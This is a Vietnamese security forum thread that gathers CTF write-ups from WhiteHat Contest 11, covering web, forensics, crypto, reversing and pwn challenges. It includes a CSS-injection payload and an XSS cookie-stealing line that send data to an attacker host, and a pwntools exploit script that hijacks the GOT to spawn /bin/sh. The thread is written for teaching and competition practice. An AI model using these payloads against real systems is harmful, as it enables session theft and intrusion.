[WhiteHat Contest 11] Writeup

whf

Super Moderator
Thành viên BQT
06/07/2013
796
1.304 bài viết
[WhiteHat Contest 11] Writeup
Chào anh em, trong topic này mình tổng hợp các bài writeup của các team tại cuộc thi WhiteHat Contest 11 để anh em tiện tham khảo và học hỏi nhé!

Ultimate Design Tool - Web Security 100 - Team MeePwn

Challenge: The challenge is about CSS Injection, when you click Share your button!, you will post to push.php something like this
Mã:
csscode={width:+100px;+font-size:+100px;+height:+1px;+line-height:+1px;+border-width:+1px;}&submit=Share+your+button!
Wow, its CSS! I change something in {} to recheck
Mã:
csscode={color:red;}&submit=Share+your+button!
red.png

The color of text turn red.
Let’s view the source code:
sc.png

Notice 1:
Mã:
#button {color:red}
so our input will be placed after #button, let make some injection and see if it would affect
Mã:
csscode=#button {color:yellow;}&submit=Share+your+button!
yellow.png


Well the text color turn to yellow.
Notice 2:
Mã:
Obviously, we need to leak “secret”, it is flag of this challenge. How to?
Let me talk about CSS
CSS stands for Cascading Style Sheets and it’s used to customize how websites look.
Here the CSS syntax:
Mã:
selector { property1: value1; property2: value2; }
so if we want to customize span tag, just write:
Mã:
span { color:red }
But how to select value attribute? Here the solution: so our payload become
Mã:
span[value]{color:red}
I decide to do some trick, called blind CSS injection:
Mã:
span[value$='1']{content: url('http://myhost/?i')}
If the last char of “secret” is ‘1’, then it loads my host, and i’ll know, if not, nothing happen
Move on
Mã:
span[value$='41']{content: url('http://myhost/?i')}
If the last two chars of “secret” is ’41’, then it loads my host, and i’ll know, if not, nothing happen
Combine 2 notice, final payload is:
Mã:
csscode=span[value='662f32aeb6041954dfac4a83523bc3eae72b5441'] {content: url('http://myhost/?i')}&submit=Share%2Byour%2Bbutton!
Flag: 662f32aeb6041954dfac4a83523bc3eae72b5441
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Extract me - For 100 - Team ISITDTU

Hi guys! today i will show you how to solved Forensic 100 – Extract Me.
Download file from here and open by wireshark.
2.png

And find open follow tcp.stream eq 36, we can see transfering process file.
Next tcp.stream eq 37, we can see header PK… that is zip file (How to know header of file look at here) and see flag.png . Let’s dump file and try open it.
6.png

Of course, It not easy. You must have password to open it. Try find in SSL and got suspect certificate made by Bkav
7.png

So you can do the same writeup to know how to decrypt SSL
8.png

with factordb and rsatool to create file private.key
9.png

Decrypt file pcapng
10.png

Let’s extract flag.png
11.png
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
[h=4]WYGINWYS - For 200 - Team MeePwn[/h] Binary: download ở đây.
Đề cho một file image, mình cũng không rõ nó là file gì nữa, hình như là một cái ổ đĩa thì phải. Down về xong quăng qua cho một thành viên trong team làm, anh ấy dùng Sleuth Kit moi ra cho mình được một file .pyc, mình decompile ra được file source python, ở đây.
Coi sơ qua thì thấy có vẻ đây như là một con ransomware, nó mã hóa tất cả các file có extension trong list extension trong code bằng RSA, bên cạnh đó nó cũng có một server cho get private exponent để decrypt key nếu nhập đúng payload (có sẵn trong source python), khá là dễ hiểu.
Quá trình encrypt của nó có thể tóm tắt như sau: đọc từng block 100 bytes trong file cần mã hóa, qua hàm check để thêm các bytes 00 vào (n bytes ‘0’ ở hex-encoded thì replace = 3n/2 bytes ‘0’, để đảm bảo null byte ở đầu không bị mất sau khi mã hóa RSA vì dạng số thì 0 ở đầu k có ý nghĩa), mã hóa RSA bằng n và e cho sẵn trong source, sau đó pad thêm một đoạn string (mình gọi là chuỗi padding), ghi vào file .encrypt.
Hiểu được quá trình encrypt thì quá trình decrypt cũng không có gì quá khó khăn, nhất là khi ta đã có private exponent thành viên team mình cũng đã tích cực tìm kiếm trong cái đống bùi nhùi của Sleuth Kit và gởi cho mình file đã encrypt (dấu hiệu nhận biết là file này sẽ có rất nhiều chuỗi padding), ở đây.
Ý tưởng của mình là đọc file encrypted, tìm kiếm chuỗi padding, decrypt RSA bằng key đã có đối với chuỗi trước padding, và lấy 100 bytes cuối (tránh truờng hợp lấy dư bytes do đã bị thêm bytes 00), ghi vào một file mình check thử với block đầu tiên thì đó là file ảnh jpg.
Có ý tưởng thì code thôi:

Mã:
n = 105635707994215785064592688829431603295092019332941340218063024030214112435477388955472078061967366591274439713776563251824009429910796926009945639353007371855413993984379598868696195164099879394346788069941545731813097331015058786201697958822353538490747425524617437354269664766909763679684047454688278011031
e = 65537
d = 88564621686225804143599949348031629074448419889036649215278253785863628513354908121326408001477927349804924920474953757949280896835049634504821293313553289355709328104008395204711274370387211439046775523078243154006826451358656526662979651456823488028759120748152472580144809988367304986290600684644152983809

def readfile(filename):
        f = open(filename).read()
        padding = "232425262728292a2b2c2d2e2f3a3b3c3d3e3f400f15".decode("hex")
        flag = ""
        while len(f) != 0:
                index = f.find(padding)
                if len(hex(pow(int("0x" + f[:index].encode("hex"), 16), d, n))[2:-1]) % 2 != 0:
                        flag+= ("0" + hex(pow(int("0x" + f[:index].encode("hex"), 16), d, n))[2:-1]).decode("hex")
                else:
                        flag+= hex(pow(int("0x" + f[:index].encode("hex"), 16), d, n))[2:-1].decode("hex")
                f = f[index + len(padding):]
        fi = open("flag.jpg", "w")
        fi.write(flag)
        fi.close()
        
readfile("36-file")
Không biết do mình code thọt hay sida sao mà cái ảnh nó không đẹp như mong muốn, nhưng chỉ vậy là quá đủ để có 200pts
fuckflag.jpg
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
WYGINWYS - For 200 - Team ISITDTU
Hi Guys! Today i will show you got forensic 200 – What you get is not what you see
You can download file at here.
Try extract and use autopsy to open it
12.png
Then extract file encrypt.pyc and decompiler by Easy Python Decompiler to got file encrypt.py and read it
Next step, we have to find file need decrypt.
14.png
Try extract file “file” (if you use “mount” in linux you only got file “file”) and use code to decrypt it and get flag
15.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
RE3 - Team ByteBandits

So we have an exe file

Mã:
 $ file digital_fortrees.exe
digital_fortrees.exe: PE32 executable (console) Intel 80386, for MS Windows
$ strings digital_fortrees.exe
!This program cannot be run in DOS mode.
.
.

LoadLibrary(pythondll) failed
.
This suggests the executable was made using py2exe. Byte compiled pyc files can be easily fished out from such exe using unpy2exe. We take out the pyc file and then use Easy Python Decompiler to get
Mã:
# Embedded file name: digital_fortrees.py
import urllib2

def main():
    print "                                       /\\\n                                      /`:\\\n                                     /`'`:\\\n                                    /`'`'`:\\\n                                   /`'`'`'`:\\\n                                  /`'`'`'`'`:\\\n                                   |`'`'`'`:|\n     _ _  _  _  _                  |] ,-.  :|_  _  _  _\n    ||| || || || |                 |  |_| ||| || || || |\n    |`' `' `' `'.|                 | _'=' |`' `' `' `'.|\n    :          .:;                 |'-'   :          .:;\n     \\-..____..:/  _  _  _  _  _  _| _  _'-\\-..____..:/\n      :--------:_,' || || || || || || || `.::--------:\n      |]     .:|:.  `' `'_`' `' `' `' `'    | '-'  .:|\n      |  ,-. .[|:._     '-' ____     ___    |   ,-.'-|\n      |  | | .:|'--'_     ,'____`.  '---'   |   | |.:|\n      |  |_| .:|:.'--' ()/,| |`|`.\\()   __  |   |_|.:|\n      |  '=' .:|:.     |::_|_|_|\\|::   '--' |  _'='.:|\n      | __   .:|:.     ;||-,-,-,-,|;        | '--' .:|\n      |'--'  .:|:. _  ; ||       |:|        |      .:|\n      |      .:|:.'-':  ||       |;|     _  |]     _:|\n      |      '-|:.   ;  ||       :||    '-' |     '--|\n      |  _   .:|].  ;   ||       ;||]       |   _  .:|\n      | '-'  .:|:. :   [||      ;|||        |  '-' .:|\n  ,', ;._____.::-- ;---->'-,--,:-'
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Contest 11 của chúng ta gồm 11 bài, và không có đội nào hoàn thành hết các thử thách:
  • Web Security 100 Ultimate Design Tool
  • Web Security 200 Private-Company's Keep-in-touch-Tool
  • Pwnable 100 Zozo
  • Pwnable 200 Supermarket
  • Pwnable 300 Sleeping barber
  • Forensics 100 Extract me
  • Forensics 200 WYGINWYS(what you get is not what you see)
  • Cryptography 200 PunCrypto system
  • Cryptography 200 Arapoem
  • Reverse Engineering 100
  • Reverse Engineering 300
  • Reverse Engineering 100
Hiện đã có 4 bài write up ở trên, BQT rất mong tiếp tục nhận được write up cho Contest 11 từ các đội.
#BabyPhD #MeePwn #ISITDTU
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
RE 100 - #Team ISITDTU
Hi guys ! I will show you writeup Re1 in WhiteHat Contest 11

You can download in here
We have file ELF64. Load it into IDA Pro64bit and view source we can get Main function
19.jpg


Then, program is compare with 1 string have first character is "{", have long 42 bits, next 10 characters is "53fc275d81", last previous is "4938ae4efd" and last characters is "}". After, program call Confusekey funtion
In Confusekey function, it is responsible for changing the order of the blocks. First string have 42 bits, skip first and last character then we have 40 characters, divide into 4 blocks, each block have 10 characters. We recived :
Block 1 = Block 3
Block 2 = Block 4
Block 3 = Block 1
Block 4 = Block 2
Then, we have new string is ‘{‘+Block3+Block4+Block1+Block2+’}’
20.png


Return main function we will get first string of Confusekey to compare with string {daf29f59034938ae4efd53fc275d81053ed5be8c}.
So we infer search string is {53fc275d81053ed5be8cdaf29f59034938ae4efd}
Flag = {53fc275d81053ed5be8cdaf29f59034938ae4efd}

 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Pwn 200 - Team bi0s
[h=3]Solved by 4rbit3r - Team bi0s[/h] I wasn’t really in a good mood when I found out that the binary was C++ and not C. I’m not very good with those.
Getting into the details of the binary, it contains a few classes, some of which are derived from another. Each class has a input function, an output function, a constructor and a destructor.
The original class is called MyObject and it goes like this:
class MyObject{
string id[20];
string name[50];
};

This class also contains a getID function which basically returns the string id of the object.
There are three classes that are used. All of them have been derived from the MyObject class. They are the product, staff and customer classes.
In the stack frame for main, there are 3 arrays allocated. Each one contains objects of one kind. We can add objects, delete them, search with the string index, show all objects of a particular type and insert an object at any location in the array. But what we can’t do is to edit any object that we created.
The vulnerability lies in the insert function. It asks us for an index and the object created is placed at that index of the corresponding array. The vuln is that we can also give negative indexes.
The insert functionality is done by a function ( I’m calling it insert()) which again calls another function insertIntoArray(). So if I were to provide a negative index, the address of the chunk could possible overwrite the saved eip of any of the two functions.
But the first 4 bytes of the object is the virtual-function table of the object. So overwriting saved eip was not the best option. So we thought of overwriting the saved ebp. An index of -18 seemed to do the job.
Now we’ve got control flow. What now?
I decided to use the functions input and output of class MyObject. Both these functions read input into, and print the values at arg1+4 and arg1+24.
So using the output function of MyObject, I leaked the values in the GOT table.
And then using the input function, I overwrote the strcmp function with the address of system.
I chose strcmp() because all other functions were getting used somewhere else.
So all that was left was to somehow make a call to strcmp with an argument “/bin/sh”.
The sort functionality does that for us. It takes each object in the corresponding array and sorts it according to the ID. This comparison is done using a strcmp. So we just needed to create an object with the ID as “/bin/sh” and then call the sort function.
And well that worked. Sadly, I couldn’t finish it during the ctf and could only test it locally.
Anyway, here’s the script:
Mã:
[/B]
from pwn import *
p=process("supermarket")
log.info(p.recvuntil(":
roduct=1
staff=2
customer=3
op=0x80493e6
ip=0x804933c
g1=0x08049981 #add esp,0x8;pop ebx;ret;
got=0x804c01c
got_strlen=0x080486a6
got_puts=0x080486f6
got_printf=0x080486b6
got_znwj=0x080486c6
menu=0x08049092
def create(val,idx):
    p.sendline("1")
    log.info(p.recvuntil(":
   p.sendline(str(val))
    log.info(p.recvuntil(":
   p.sendline(idx) 
    log.info(p.recvuntil(":
   p.sendline("A"*4) 
    log.info(p.recvuntil(":
   p.sendline("B"*4) 
    log.info(p.recvuntil(":
   p.sendline("C"*4) 
    log.info(p.recvuntil(":
ef delete(val,idx):
    p.sendline("2")
    log.info(p.recvuntil(":
   p.sendline(str(val))
    log.info(p.recvuntil(":
   p.sendline(str(idx))
    log.info(p.recvline())
def insert(loc):
    p.sendline("3")
    log.info(p.recvuntil("choice:
   p.sendline(str(customer))
    log.info(p.recvuntil(":
   payload=pack(op)+pack(g1)+pack(got)+pack(-1)+"x00"
    p.sendline(payload) 
    log.info(p.recvuntil(":
   payload=pack(ip)+pack(g1)+pack(got)+pack(-1)*2+pack(menu)
    p.sendline(payload) 
    log.info(p.recvuntil(":
   p.sendline("") 
    log.info(p.recvuntil(":
   p.sendline("") 
    log.info(p.recvuntil(":
   p.sendline(str(loc))
    log.info(p.recvline())
def sort():
    p.sendline("5")
    log.info(p.recvuntil(":
   p.sendline("3")
    p.interactive()

for x in range(0,75):
    create(customer,"")

create(customer,"/bin/sh")
insert(-18)

log.info(p.recvline())
log.info(p.recvuntil(": "))
msg=p.recv(4)
log.info(p.recvline())
msg=unpack(msg)-152784

log.info(p.recvuntil(":
ayload=pack(got_strlen)+pack(got_printf)+pack(got_znwj)
p.sendline(payload)
log.info(p.recvuntil(":
ayload=pack(got_puts)+pack(msg)+pack(msg)
p.sendline(payload)

log.info(p.recvuntil(":
for x in range(0,75):
    delete(customer,0)
create(customer,"/bin/sh")
create(customer,"")
sort()
[B]
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
PunCrypto system - Crypto 200 - Tác giả là một bạn đẹp trai giấu tên đã gửi writeup.

Download: http://material.wargame.whitehat.vn/contests/11/cry1_b3a0ec676dcaceb33e4830ddfc803eed.zip

Mã:
data = [['F','G','E','N','A','e','u','0','a','T','C','E'],
        ['L','I','T','I','F','U','S','o','n','A','I','T'],
        ['e','H','A','0','m','W','e','w','H','D','e','H'],
        ['E','A','m','Y','C','T','c','Y','E','M','S','o']]
        
key  = [[0,0,0,1,0,0,0,0,0,0,0,0],
        [0,1,2,1,1,3,1,1,2,3,3,0],
        [0,2,1,0,3,3,0,2,3,3,2,0],
        [0,0,0,0,0,0,0,0,0,0,0,0]]
    
def swap(i,j):
    global data
    tmp = data[i-1][j]
    data[i-1][j]    = data[i][j-1]    
    data[i][j-1]    = data[i+1][j]
    data[i+1][j]    = data[i][j+1]
    data[i][j+1]    = tmp
    return 0
def solve():
    for ki in range(1,4):
        for kj in range(12):
            for i in range(key[ki][kj]):
                swap(ki,kj)
    result = ''
    for i in data:
        result += ''.join(i)
    print result
    return 0
    
solve()
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Giao diện lúc vào là 1 trang login với gợi ý có 1 tài khoản ở source html
Với login form và một tài khoản guest/guest từ việc view source, đăng nhập xong thấy ngay đây có thể là một bài xss :D

1.jpg

Test một đoạn alert, cả ô title và content đều inject xss được.

2.jpg

Thử get cookie:
Mã:
location.href=[URL]http://myhost/?ck=[/URL]+document.cookie;
Ok, ra được PHPSESSID=fst5ln3h0j7nb8mp7m37t4gst4.
Thử reload lại trang với session này thì lại ko có gì @@. sau đó bị logout ngay.
Sau một hồi thì ban tổ chức có gợi ý httpOnly, như vậy khả năng là flag được giấu trong cookie dạng httpOnly, nếu dùng document.cookie như trên chắc chắn ko đọc được. :(
Để ý một chút thì có vẻ server dùng xampp, vậy là chạy trên windows, ngay từ đầu thì url của bài này có dạng index.php?page=home

Screen Shot 2016-07-13 at 11.52.52 AM.jpg

Nhớ lại thì mình đã từng đọc một writeup liên quan đến windows+lfi
http://www.pwntester.com/blog/2014/01/15/hackyou2014-web300-write-up/
Như vậy có thể dò các file có trong dir bằng cách dùng dấu ‘
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
T
  • tmnt53
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
T
  • tmnt53
Write-up cho Pwn300 - Sleeping Barber
Tải mã nguồn và binary tại đây: SleepingBarber.zip

Chương trình là một lời giải cho bài toán Sleeping Barber – bài toán đồng bộ trong đa luồng/đa tiến trình.
Cửa hàng cắt tóc có một thợ cắt tóc (Barber), một ghế cắt tóc, và 6 ghế cho khách (Customer) ngồi đợi. Nếu không có khách, thợ cắt tóc ngồi trên ghế cắt tóc và ngủ. Khi một khách đến, anh ta phải đánh thức thợ cắt tóc dậy. Nếu có thêm khách đến, anh ta phải ngồi đợi, hoặc rời đi nếu như hàng ghế đợi hết.

Chương trình cho người dùng nhập vào các Customer (ID, thời gian đợi trước khi vào quán – delay, thời gian cắt tóc – cuttingTime). Khi chọn Run, chương trình sẽ chạy mô phỏng quá trình Barber cắt tóc cho các Customer.
Lỗi UAF nằm trong hàm run():
p1.png




Sau pthread_join delete pCustomer. Logic của người lập trình là, mỗi khi một Customer chạy xong thì anh ta sẽ xóa Customer đó đi. Nhưng rất tiếc là sau khi một Customer chạy xong thì đối tượng vẫn được dùng tới trong hàm concurrentDisplayState(), dẫn tới UAF:
p2.png



Mỗi khi một Customer tới mà hàng ghế đợi (WaitQueue::fgHairQueue) đang đầy, thì anh ta thêm mình vào danh sách gGoAway và “rời đi”:
p3.png




Như vậy, ta sắp đặt sao cho có khách phải rời đi (không phải vị khách cuối cùng), là chương trình sẽ mắc lỗi UAF và có thể bị crash (khi bị ghi đè).
Chú ý là, hàm addFinished() (được gọi bởi Barber khi anh ta cắt xong tóc cho một ai đó) có phân phát heap:
p4.png



Kích thước được phân phát cho chuỗi “finished” là 0x44B, mà mỗi Customer cũng 0x44B:
p5.png



Do đó, rất có thể ta sẽ ghi đè được finished lên trên một Customer đã “go away”.
Ta sắp xếp các Customer như sau:
  • Customer0: delay = 1000ms, cutTime = 2000ms
  • Customer1: delay = 0ms, cutTime = 2000ms
  • Customer2 -> 8: delay = 100ms, cutTime = 2000ms
Customer1delay = 0, nên sẽ đến gặp Barber đầu tiên và được cắt. Customer2 -> 8delay = 100ms nên đến tiếp sau, ngồi đầy hàng ghế đợi (từ 2 à 8 là tất cả 6 Customer). Customer0 đến cuối cùng (có delay = 1000ms), do Customer1 vẫn chưa được cắt xong (cutTime = 2000ms), hàng ghế đợi đầy, nên phải “go away”.
Do hàm run() đang pthread_join Customer0 (do Customer0 nằm ở đầu danh sách), nên Customer0 sẽ ngay lập tức được delete khi “go away”.

Sau đó, Customer1 được cắt xong, hàm addFinished() sẽ phân phát 0x44B để thêm id của Customer1 vào danh sách fgFinished. Như vậy, rất có thể vùng nhớ được phân phát sẽ tương ứng với Customer0 vừa được giải phóng.

Và khi debug, ta được đúng như vậy:
p6.jpg



Vậy khi hàm concurrentDisplayState() gọi pCustomer->GetId(), chương trình bị crash. Ta có thể điều khiển eip bằng cách làm giả bảng hàm ảo của Customer, trong id của Customer1.

Chú ý rằng, chương trình còn một lỗi format string ở cuối hàm concurrentDisplayState():
p7.png



Nhưng chương trình được biên dịch với tùy chọn -O1 (bật Fortify)
p8.png



Nên ta không thể sử dụng “%n” hay “%20$p” trong string format để khai thác, mà chỉ có thể dùng các “%p”, “%s”,… liên tiếp nhau để leak địa chỉ libcheap.
Ta leak địa chỉ libc qua GOT của một hàm nào đó, vd __strcat_chk. Còn địa chỉ heap có thể leak hai lần (server không bật ASLR) bằng:
  1. Leak nội dung của biến toàn cục gCustomers, ta tạm gọi là gCustomersContent.
  2. Leak nội dung của gCustomersContent, chính là địa chỉ phân phát cho Customer0. Địa chỉ Customer0 chính là vùng nhớ bị UAF.
Tổng kết:
  • Dùng lỗi format string để leak địa chỉ heaplibc.
  • Dùng lỗi UAF để điều khiển eip. Ta làm giả bảng hàm ảo, khi chương trình gọi pCustomer->GetId() thì chương trình bị điều khiển.
File khai thác: exploit_SleepingBarber.zip

View attachment SleepingBarber.zip

View attachment exploit_SleepingBarber.zip
 
Chỉnh sửa lần cuối:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
T
  • tmnt53
Write-up cho Pwn300 - Sleeping Barber
Tải mã nguồn và binary tại đây:

Chương trình là một lời giải cho bài toán Sleeping Barber – bài toán đồng bộ trong đa luồng/đa tiến trình.
Cửa hàng cắt tóc có một thợ cắt tóc (Barber), một ghế cắt tóc, và 6 ghế cho khách (Customer) ngồi đợi. Nếu không có khách, thợ cắt tóc ngồi trên ghế cắt tóc và ngủ. Khi một khách đến, anh ta phải đánh thức thợ cắt tóc dậy. Nếu có thêm khách đến, anh ta phải ngồi đợi, hoặc rời đi nếu như hàng ghế đợi hết.

Chương trình cho người dùng nhập vào các Customer (ID, thời gian đợi trước khi vào quán – delay, thời gian cắt tóc –cuttingTime). Khi chọn Run, chương trình sẽ chạy mô phỏng quá trình Barber cắt tóc cho các Customer.
Lỗi UAF nằm trong hàm run():
1489939950p1.png




Sau pthread_join delete pCustomer. Logic của người lập trình là, mỗi khi một Customer chạy xong thì anh ta sẽ xóaCustomer đó đi. Nhưng rất tiếc là sau khi một Customer chạy xong thì đối tượng vẫn được dùng tới trong hàmconcurrentDisplayState(), dẫn tới UAF:
1489939950p2.png



Mỗi khi một Customer tới mà hàng ghế đợi (WaitQueue::fgHairQueue) đang đầy, thì anh ta thêm mình vào danh sáchgGoAway và “rời đi”:
1489939950p3.png




Như vậy, ta sắp đặt sao cho có khách phải rời đi (không phải vị khách cuối cùng), là chương trình sẽ mắc lỗi UAF và có thể bị crash (khi bị ghi đè).
Chú ý là, hàm addFinished() (được gọi bởi Barber khi anh ta cắt xong tóc cho một ai đó) có phân phát heap:
1489939950p4.png



Kích thước được phân phát cho chuỗi “finished” là 0x44B, mà mỗi Customer cũng 0x44B:
1489939950p5.png



Do đó, rất có thể ta sẽ ghi đè được finished lên trên một Customer đã “go away”.
Ta sắp xếp các Customer như sau:
  • Customer0: delay = 1000ms, cutTime = 2000ms
  • Customer1: delay = 0ms, cutTime = 2000ms
  • Customer2 -> 8: delay = 100ms, cutTime = 2000ms
Customer1delay = 0, nên sẽ đến gặp Barber đầu tiên và được cắt. Customer2 -> 8delay = 100ms nên đến tiếp sau, ngồi đầy hàng ghế đợi (từ 2 à 8 là tất cả 6 Customer). Customer0 đến cuối cùng (có delay = 1000ms), do Customer1 vẫn chưa được cắt xong (cutTime = 2000ms), hàng ghế đợi đầy, nên phải “go away”.
Do hàm run() đang pthread_join Customer0 (do Customer0 nằm ở đầu danh sách), nên Customer0 sẽ ngay lập tức đượcdelete khi “go away”.

Sau đó, Customer1 được cắt xong, hàm addFinished() sẽ phân phát 0x44B để thêm id của Customer1 vào danh sáchfgFinished. Như vậy, rất có thể vùng nhớ được phân phát sẽ tương ứng với Customer0 vừa được giải phóng.

Và khi debug, ta được đúng như vậy:
1489939950p6.png



Vậy khi hàm concurrentDisplayState() gọi pCustomer->GetId(), chương trình bị crash. Ta có thể điều khiển eip bằng cách làm giả bảng hàm ảo của Customer, trong id của Customer1.

Chú ý rằng, chương trình còn một lỗi format string ở cuối hàm concurrentDisplayState():
1489939950p7.png



Nhưng chương trình được biên dịch với tùy chọn -O1 (bật Fortify)
1489939950p8.png



Nên ta không thể sử dụng “%n” hay “%20$p” trong string format để khai thác, mà chỉ có thể dùng các “%p”, “%s”,… liên tiếp nhau để leak địa chỉ libcheap.
Ta leak địa chỉ libc qua GOT của một hàm nào đó, vd __strcat_chk. Còn địa chỉ heap có thể leak hai lần (server không bật ASLR) bằng:
  1. Leak nội dung của biến toàn cục gCustomers, ta tạm gọi là gCustomersContent.
  2. Leak nội dung của gCustomersContent, chính là địa chỉ phân phát cho Customer0. Địa chỉ Customer0 chính là vùng nhớ bị UAF.
Tổng kết:
  • Dùng lỗi format string để leak địa chỉ heaplibc.
  • Dùng lỗi UAF để điều khiển eip. Ta làm giả bảng hàm ảo, khi chương trình gọi pCustomer->GetId() thì chương trình bị điều khiển.
File khai thác: View attachment exploit_SleepingBarber.zip

View attachment SleepingBarber.zip
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Writeup - Crypto - Araem Poem

Bài này cho chúng ta nhập vào 1 số thông tin, sau đó gen ra 1 bài thơ và mã hoá nó. Sau đó nó đưa ra 1 đoạn text nữa đã được mã hoá. Nhiệm vụ của ta là phải giải được đoạn mã này để lấy flag.


Mỗi lần request đến, server lại sinh ra những đoạn mã hoá khác nhau (dù đầu vào là giống nhau).
Sau 6 tiếng lần mò trong vô vọng, cuối cùng BTC cũng chịu đưa ra hint -_-. Và nó khá khá rõ ràng: bit replacements. Như vậy thuật toán mã hoá của bài này đã rõ: chuyển plaintext về dạng binary rồi thay thế các chuỗi binary bằng các kí tự đặc biệt.

OK. Mình sẽ xem xét bài thơ kia một chút:
Câu 1: len(plaintext) = 19, len(ciphertext) = 38
Câu 2: len(plaintext) = 14, len(ciphertext) = 28
Câu 3: len(plaintext) = 14, len(ciphertext) = 28
Câu 4: len(plaintext) = 11, len(ciphertext) = 22
Câu 5: len(plaintext) = 18, len(ciphertext) = 33
Tổng số kí tự đặc biệt là 18

Như vậy độ dài các chuỗi binary tương ứng với các kí tự đặc biệt là không cố định, và xấp xỉ 4

Để ý kĩ hơn ta sẽ thấy 3 câu trong bài thơ bắt đầu bằng chuỗi “He “. Thế thì làm được gì?
Chắc chắn trong ciphertext của 3 câu này phải có phần đầu, hoặc phần đuôi giống nhau.


Như vậy đã rõ, ciphertext đã được đảo ngược sau khi thay thế bit

OK. Đối với những bài thay thế bit kiểu này, cách đơn giản nhất và nhanh nhất(đỡ phải code :]] )là dùng regex. Mình sẽ định nghĩa những chuỗi regex match với đoạn binary plaintext (và có điểm tương đồng với ciphertext), dùng group để lấy ra các chuỗi bit tương ứng với các kí tự đặc biệt.


VD đoạn regex ứng với câu thơ đầu tiên sẽ là thế này ( vì độ dài của chuỗi bit ứng với từng kí tự mình chưa xác đinh được, tạm cho nó có khoảng từ 1 đến 6 đi):

ciphertext: “
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Writeup - Pwn 100 - Zozo - Team CS16
part 1


We have been given shell access to a remote machine. The pwnguest user was extremely limited – no access to anything except the home directory. There lied two particularly interesting files:
  • flag.txt, which was owned by root and readable only by pwnreader group
  • and signal, which was executable by the current user, owned by pwnreader group and had SGID set.
This has given a clear idea what was the intended solution to the task.
However, …
Broken task

The machine was running an outdated kernel, 3.13.0-32 to be exact, with a known privilege escalation exploit. Here are some resources on this topic:
The not necessarily intended solution

The easiest solution was to obtain a root shell using the aforementioned public exploit. The server has quickly been torn down. This gave an irresistable impression that, in fact one of the teams did obtain a root shell and they have also decided to sabotage the contest and took the machine down, preventing the other participants from scoring points.

Walkthrough

part 2 – the intended solution

Because the user available was extremely limited – no access to /dev (and therefore /dev/null), scp was going mad. This has not been a serious limitation, the code for this task could be downloaded using a workaround, for example:
Mã:
  ssh -p1094 -lpwnguest 118.70.80.143 dd if=/home/ubuntu/signal >/tmp/signal

The file is 32-bit ELF executable binary:

Mã:
signal: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=cb0c7cda48b50c413181c4641fe98efe840f3364, not stripped



When executed, it installs a custom SIGINT handler, runs several threads, asks for input and when signalled with INT, sleeps, does some string operations and prints some garbage.

Mã:
__libc_start_main(0x80488a4, 1, 0xffbb4ee4, 0x80489b0 
signal(SIGINT, 0x804878d)                        = 0
puts(">> Enter your name:")                      = 20
pthread_create(0x8c49008, 0, 0x8048883, 0)       = 0
pthread_create(0x8c4900c, 0, 0x8048883, 0)       = 0
pthread_create(0x8c49010, 0, 0x8048883, 0)       = 0
pthread_create(0x8c49014, 0, 0x8048883, 0)       = 0
pthread_create(0x8c49018, 0, 0x8048883, 0)       = 0
pthread_join(0xf758bb40, 0, 0x8048883, 0)        = 0
pthread_join(0xf6d8ab40, 0, 0x8048883, 0 
--- SIGINT (Interrupt) ---
puts("First Caught signal, coming out."...)      = 35
sleep(3)                                         = 0
printf("\nGoodbye")                              = 8
strlen("aaa")                                    = 3
